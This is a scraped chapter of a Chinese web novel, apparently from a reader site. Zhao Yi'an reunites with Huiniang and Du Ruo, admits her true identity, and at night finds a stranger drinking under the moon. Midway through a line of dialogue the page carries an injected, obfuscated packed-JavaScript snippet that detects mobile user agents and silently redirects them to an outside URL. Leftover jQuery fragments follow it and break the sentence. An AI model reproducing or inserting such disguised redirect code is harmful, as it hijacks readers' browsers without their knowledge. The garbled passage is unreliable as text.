默认冷灰
24号文字
方正启体

44. 月中天

作者:爻汐本书字数:K更新时间:
    简单安慰下惠娘,赵仪安心中的石头算是落下了一半,她怕的是惠娘一开始便是郡守那边的人,幸而,幸而。


    “想必你们出来也不容易,惠娘,请你把之后发生的事原原本本的告诉我。”赵仪安推了推额际碍事的发,低声问询道,“杜若比我聪明,想必她应该同意你所为。”


    惠娘点了点头,拉着赵仪安的手进了殿。


    “外头凉,里面说。”


    “你说的不错,杜姑娘确实知情。若不是有杜姑娘的帮助,想来我也不会那么容易把人弄出来。”惠娘苦笑一声,“二当家把人看的真死。”


    深吸一口气,惠娘盯着她的眸。


    “郡守让他给我带话。”她用头点点地下瘫倒的人。


    “用那人的命来换杜姑娘”


    说罢,惠娘沉默片刻,再开口是语气中带着浓浓的歉意。


    “我,我真得没法子,这些年我明里暗里找了多少次都寻不到他,仿佛人间蒸发般,苍天知晓我做梦都想杀了他。”话音一转,她冷笑一声,“多可笑,藏在眼皮子底下都找不到,偏偏旁人一寻便抓到了。”


    “那人如今在哪儿?”赵仪安拧眉问道。


    “我不知。”惠娘摇摇头,“不然我也不会被那小子勾来这儿了。”


    “比起杀了他,我更想以彼之道还治彼身。”啐,惠娘朝地下吐了一口,厌恶极深,“那家伙是被人从京城押来的,一到阳都郡便没了影,我想一定是郡守那家伙搞得鬼,呸,蛇鼠一窝,都不是什么好鸟。”


    京城?赵仪安咬着指腹眉头紧锁。


    这档子事她倒是不知,不过如今能又被人挖出来,想来背后人手笔不小,她倒是不信郡守有那么大的本事,能剑指苍穹,不过倒是说明了这事并非想的那么简单。


    这李季背后是赵桓,郡守背后又是谁呢?能使唤的动李季的人,只怕百无一二。


    指腹被赵仪安咬的一片红,她放下手搓了搓,急切道:“惠娘,急不得,我总觉得这事没那么简单,既然郡守卡着不放人,那杜若呢?你不会就这么把杜若给他了吧。”


    “我哪有那么笨,早被我藏起来了,寨子里伺候杜姑娘的那个人你可有印象,如今由她贴身保护着杜姑娘。”惠娘摆了摆手嗤笑一声,“得了竟说我了,我倒是好奇你,怎么兜兜转转又来一圈,哎我可跟你说这段时间正戒严,我看你最好也去躲躲,省的被人发现要了你的小命。”


    “咚。”


    “咚。”


    “咚。”


    三声鼓响自天际袭来。


    鸣鼓三声,京中急报。


    赵仪安白着脸无奈一笑。


    “晚了。”


    雨渐渐下得小了些,赵仪安跟着惠娘顶雨前行,在殿中的再三推脱被她所拦,多次开口的话被她堵上。


    你不是孤身一人,有我,有大家,不用怕。


    被自己的话所堵,她有些哭笑不得,不得已只好顺从。


    赵仪安伸手在腰际摩挲,指尖触及冰冷的剑鞘,刚在殿内本想一剑杀了阿齐省的日后留后患,却被眼前人拦下。想到这儿她瞥了一眼专心赶路的惠娘缓缓的松开了手。


    七拐八拐绕来绕去,若不是有人领路,怕是真得迷了去。


    眼看惠娘在一座平房面前停下,她走到门前不叩门反而以指弹门,紧随其后又贴紧门低语道。


    “九月开花,十月结果。”


    一扇门应声而开,惠娘立马拉着赵仪安钻了进去,赵仪安扭过头看着躲在另一扇门后的梅姑娘,朝她略微一笑算是打了个照面。


    “惠娘今儿怎的来的这么早。”未见其人先闻其声,只听得杜若笑道,“莫不是又搁那儿受气了。”放下手中药碗,杜若朝外看去,一对含笑眸正好对上赵仪安。


    “杜,杜若,好久不见。”心存亏欠,赵仪安说话不免有些结结巴巴。


    “游姑娘?出什么事了,你怎的这般狼狈。”


    “这。”赵仪安舔舔唇,偷偷看了一眼惠娘,站在门外不敢进去。


    惠娘不愿见她这墨迹样子一把将她推了进去,自己紧随其后坐下,姗姗来迟的梅姑娘关上了门也随众人落座。


    “杵那儿干嘛,你不累我还替你累的慌呢,都自己人,坐下坐下。”惠娘拽着赵仪安衣衫将她拉到座上,“事到如今也瞒无可瞒了。”


    赵仪安调整呼吸,面对着杜若郑重道:“我骗了你,游青是假的,赵仪安才是真的。”


    “哎呦你说这干嘛,讲重点啊。”惠娘有些恨铁不成钢的看着赵仪安,她转过头一脸严肃,“来,我说,废话咱就不多讲了。如今大家都是一根绳上的蚂蚱,我本以为自己搞得事已经够大了,没想到这小妮子。”


    “真是胡来。”


    惠娘将赵仪安的话一五一十叙述给眼前二人。


    “我看啊,你命是真大,下一次指不定那一剑就戳你心窝上了。”说到危机处惠娘不免斥责起赵仪安。


    赵仪安朝杜若眨了眨眼,“那可不是,我这命可等着您来收呢。”


    “嘿,你这丫头。”


    苦药入喉,杜若含笑看着二人,拿起素帕擦了擦嘴,“东西到手了?”她轻声道。


    赵仪安对她点点头,颇有些委屈,“可是费了我好大功夫呢,跟个没头苍蝇一样转来转去的。”


    “太容易得到总是不珍惜,不然你也不至于现在心心念念。再说了,总得让我下下火吧,你说对不对,仪安。”杜若掩唇一笑,“再说了,我不是一开始就告诉你了嘛,哎呀聪明反被聪明误呀。”


    窥的她这副模样赵仪安冷哼一声别过头。


    她就说嘛,杜若是个聪明人,怎么会给她搞什么谜语人,合着人家一开始就存了心想试探一下。


    “你什么时候知道我身份的。”赵仪安恹恹地趴在桌上。


    “初见。”


    赵仪安埋头入臂中不愿再看她,自己的小九九全被人看穿了。


    “不过若是先下,我恐怕是难再看穿你了。”杜若伸手拍了拍她的胳膊,话中带了几分歉意,“不过到底是我对不住你,我没料到他会派人死守杜府,差点害你命丧黄泉。”


    “是人总有失算,我不怪你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796286|190649||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,倒是想感谢你,要没你那番推波助澜,恐怕我没法做成。”赵仪安从双臂中抬头,与杜若五指相接,热源传递于心,杜若的掌心不再刺骨冰冷。


    “事在人为,在你,不在我,仪安。”


    “路是你自己走的,是你凭着一口气做到的,你不必妄自菲薄,这感谢的话我就收下了。”杜若掐了掐她的脸,叹道:“这次麻烦可不小了,惠娘,依我看,是瞒不住暨英秀了。”说罢,她偏过头看向外间。


    赵仪安顺着她目光的方向也朝外看去,不知何时外头的雨竟停歇了下来。


    “天又阴沉起来了,不知入夜可否再下。”


    “会晴的。”


    赵仪安握紧杜若的手喃喃道。


    “会晴的。”


    ————


    身上湿漉漉的紧捆小袄换成行动轻便的厚衫,赵仪安在杜若这儿趁机修整了一番。傍晚时惠娘便回了郡守那边,赵仪安心中焦急柳芽,但也无法再众人面前显露,她在床上躺了半宿趁着她二人睡着便立马溜出了门,为防杜若担心,她特意留书一封。告诉杜若自己有些私事,待理好马上回来。


    半月拉长她虚晃的身影。


    没料到雨后竟有一轮月。


    赵仪安一手撑着墙壁大口大口的喘气,她凝望着天抬手擦了擦汗。


    地图已熟背于心,她提起劲穿过错综复杂的小巷,暗暗告诫自己,绕过这条街就到了。


    柳芽,柳芽。


    赵仪安默念道。


    不敢让杜若和惠娘得知柳芽的存在,不是不信,而是怕在雪上加霜。就算说了,恐怕也会认为她胆大包天,将那珍贵东西随意交给他人保管,这不怕一万还怕万一呢,可依她当时的处境除此之外,别无二法。


    把宝压到一个人身上,赵仪安想想也觉得自己当初一定是发了疯。


    无法,啊无法,她两手撑腰喘着粗气,自巷尾默默数到巷中。


    门口的水缸依旧续满了水,赵仪安刚要一喜,却见水缸旁大门相错着,她顿感不妙一掌推开。


    门里静悄悄,和她当初所见一样,她踮起脚一点点朝那紧闭的内门走去,刺骨的剑柄被她握在手中。


    “噼啪。”


    屋内亮起一盏火烛。


    赵仪安面色一变,踩着台阶向后退去。


    内门大开。


    一人正对着烛火小酌。


    “来都来了,不来一杯。”


    被人抓了个现行,赵仪安反而泰然自若起来。


    “好啊,只是不知是何佳酿,能让君独坐月中天。”


    “故人,旧酿,对影成三人。”


    “不必我三请四请吧。”


    赵仪安也不跟他客气,大大方方地走了过去,一屁股坐在他对面,同他一般望月。


    “独酌无相亲啊。”


    她举起身旁茶碗仰头一股脑喝了进去。


    不是酒,是一碗泛着药香的汤。


    “烈酒灼骨,风大霜寒,你喝这个正合适。”


    微末的药渣裸露碗底,赵仪安将碗搁回桌上长叹一声不语。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)